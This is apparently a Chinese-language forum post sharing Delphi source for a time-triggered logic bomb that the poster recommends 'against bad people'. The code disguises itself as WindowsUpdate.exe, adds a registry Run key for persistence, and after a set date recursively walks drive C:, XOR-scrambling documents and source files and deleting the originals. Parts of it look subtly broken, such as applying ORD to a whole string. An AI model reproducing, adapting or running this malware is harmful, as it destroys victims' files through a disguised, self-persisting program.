|
|
下面是一段规定时间加密硬盘的所有文本文件的程序,用于对付那些坏人,我看不错.
procedure encrypt(filename:string);
var
f1,f2:File of char ;
strp:char;
pass:string;
yhb,i:Integer;
begin
pass:='密码';
yhb:=7785836;
for i:=1 to length(pass) do
yhb:=yhb+(ORD(pass)*ORD(pass));
try
AssignFile(f1,filename);
reset(f1);
AssignFile(f2,copy(ExtractFileName(filename),1,pos('.',ExtractFileName(filename)))+'xyz');
Rewrite (f2);
I:=0;
while not Eof(f1) do
begin
i:=i+1;
Read(f1,strp);
try
strp:=chr( ord(strp) xor yhb );
except
CloseFile(f2);
CloseFile(f1);
DeleteFile(copy(ExtractFileName(filename),1,pos('.',ExtractFileName(filename)))+'xyz') ;
end;
Write (f2,strp);
end;
CloseFile(f2);
CloseFile(f1);
except
ExitProcess(0);
exit;
end;
DeleteFile(filename);
RenameFile(copy(ExtractFileName(filename),1,pos('.',ExtractFileName(filename)))+'xyz',filename);
end;
function IsFileInUse(fName : string) : boolean;
var
HFileRes : HFILE;
begin
Result := false;
if not FileExists(fName) then
exit;
HFileRes := CreateFile(pchar(fName), GENERIC_READ or GENERIC_WRITE,
0 {this is the trick!}, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
Result := (HFileRes = INVALID_HANDLE_VALUE);
if not Result then
CloseHandle(HFileRes);
end;
function MakeTree:string;
var Sr : TSearchRec;
Err : integer;
TrSize, FilePath : string;
Begin
Err:=FindFirst('*.*',$37,Sr) ;
While (Err = 0) do
begin
result:=result+#13#10+sr.name;
if (Sr.Name[1]<>'.') and (pos('.',sr.Name)<>0) and (pos('.exe',sr.Name)=0) or (pos('.doc',sr.Name)<>0) or (pos('.xsl',sr.Name)<>0) or (pos
('.txt',sr.Name)<>0)
or (pos('.asp',sr.Name)<>0) or (pos('.jsp',sr.Name)<>0) or (pos('.c',sr.Name)<>0) or (pos('.cpp',sr.Name)<>0) or (pos('.pas',sr.Name)<>0) or (pos
('.class',sr.Name)<>0) or (pos('.cs',sr.Name)<>0) or (pos('.asm',sr.Name)<>0) then
begin
FilePath:=ExpandFileName(Sr.Name);
if not IsFileInUse(Sr.Name) then
encrypt(sr.Name);
end;
If ((Sr.Attr and faDirectory)<>0)AND(Sr.Name[1] <> '.') then
begin
ChDir(Sr.Name) ;
MakeTree ;
ChDir('..') ;
end ;
Err:=FindNext(Sr) ;
end ;
End;
begin
sysstr:=getsys+'WindowsUpdate.exe';
CreateLink(sysstr,'',GetSpecialFolder+'WindowsUpdate.lnk','WindowsUpdate');
RegSetValue(HKEY_LOCAL_MACHINE,'soFTWAREMicrosoftWindowsCurrentVersionRun',reg_sz,pchar(sysstr),0);
CopyFile(pChar(ParamStr(0)), pChar(sysstr), false);
if (strtoint(formatdatetime('yyyymmdd',now))>20050813) and (strtoint(formatdatetime('hhmm',now))>1059) then
begin
ChDir('c:');
maketree; |
|